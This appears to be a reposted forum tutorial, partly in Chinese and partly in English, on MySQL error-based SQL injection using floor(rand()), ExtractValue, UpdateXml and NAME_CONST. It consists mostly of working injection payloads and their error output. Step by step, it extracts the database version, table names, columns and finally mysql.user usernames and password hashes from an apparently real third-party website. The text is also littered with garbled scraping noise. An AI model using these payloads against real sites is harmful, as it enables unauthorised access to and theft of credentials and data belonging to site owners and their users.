mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
6 D& e7 t" W1 I  c6 [# X首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
- J7 @- Z4 @$ b| id | title | content |
+—-+——-+———+
|  1 | test  | do it   |
: H5 `  ^0 O$ C) }+ F+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
; q6 Y7 Z' _9 E# x) F. XERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
- n" i# }8 L# @ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

7 b; B5 P3 W: f1 X

再收集：

; l4 }  \/ r2 k# q" e5 e4 ?1 m& Shttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

2 I! ~- S# R1 q5 g5 s8 jErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

- \9 f. G& F, W+ d) fErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
: i0 u6 Y3 w6 e% s/ sIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
* J2 |8 V; s5 f' f
9 i; X4 Z1 p9 a# n+ _4 b% }, W
相关信息
7 j( q3 |9 ~' h
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

Code:
NAME_CONST(DATA, VALUE)
- d4 G: |$ h8 `& Q6 F+ g
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
9 A* I/ @' N: m: N. A9 J
SELECT NAME_CONST('TEST', 1)
9 j" T# U7 H9 G( Z; S; X
# C% h$ f8 h1 N8 W+ z* O
& H1 f1 \# {8 }  e4 Z$ ?2 y# L6 h
$ b# O' @: r. }: e7 s|---------------|
|     TEST      |
|               |
|---------------|
|       1       |
% B/ X/ d& e2 J; T2 Y5 U|               |
|---------------|
! c! ], d7 \0 ]: w$ W6 S

7 _6 Q0 Z- a; g' s3 E9 _. }" o0 A

" ^. z  V% k6 Z8 B! dhttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables
! B- J) C: X8 l" G0 |5 q+ v' z
: J& C/ \! D4 |  jOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
% z, z: u2 R9 B
: ~# z' a- U8 f2 E+ ]Code:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
  m- S0 _. e, H) x! c
1 w; e/ ?+ m' Y8 N  B



Code:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
- P! c% l. v! h, v% m6 b  Y
* ?4 V) R% O+ P; i! S( O$ m
VAR = Your MySQL variable.

" V# |  w& t; T+ {( JMySQL 5.1.3 Server System Variables
: [& U6 u8 X/ \+ J0 K: N9 d2 `
& f* X, T2 R' w$ R7 z  O  L2 uLet's try it out on my site..

Code:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

Erroruplicate column name '5.0.27-community-nt'


  b8 O& K, [- A  o% o; [8 K% X


2 |* [8 |* e( T3 v3 j8 uNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
' [& W" E, _2 g9 n$ s/ R: |# `
Data Extraction
* F8 m0 `; V; E+ R  U3 X
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--


% I- w1 N; h6 O: e  k4 lWe should get a duplicate column 1 error...

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

Erroruplicate column name '1


* b% j  R# Q  Z- H& }
% F0 m- R9 G9 D0 }
5 p, ~8 M: m# W
% `" k9 n7 ?# `
/ p0 U  B' Q9 w3 ?Now let's get the tables out this bitch..

Code:
; y: T: E2 c, U+ f+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
" |$ `7 B* g$ d0 G5 ~  N
7 |8 U0 r+ ^$ j9 Z* }
7 D  z/ D7 d7 B/ X% sLet's see if it works here, if it does, we can go on and finish the job.
7 Z, t' c4 c" ~: h! s
5 ]. k; M2 b; {& j/ E! F! `Code:
' W7 j- x5 ~4 V" ^http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
: L. ]+ V" E& D0 T# r
$ D( g5 H! Y. {1 k  z) j
Erroruplicate column name 'com_admanage
, _7 ~7 q7 ]( t# ^
& M% @- e0 C. |, k3 C
0 }8 N# O/ Y0 l8 {8 e1 Y

% U# N5 m: z2 [) ~, W; H3 I! h1 l! e

+ Z$ q* J5 T. M& `: iNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.

Let's get the columns out of the user table..

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
6 x, W% p8 f! f" B0 P1 X3 g
' K% T; [2 N* a
5 s4 H! {3 }+ y; _So mine looks like this, and I get the duplicate column name 'Host'.

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
3 h# z% I4 P+ L  @& Z3 M
8 o. z! o* f& u1 n) qErroruplicate column name 'Host'

1 c$ B7 R4 \+ U

5 m: E; V# a! Q* {


- W" V1 t- C+ ]& h) GWoot, time to finish this bitch off.

8 A, @4 J, S2 V# g6 lCode:
3 N$ o8 l: T4 }  v+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--


So mine looks like this...

Code:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
$ G: \0 i  S2 }& O) H7 A8 `9 Q
( U5 O7 ^. D2 F0 UErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
" _: l' l. _4 P9 A/ P




! u: x* t: G  H
And there we have it, thanks for reading.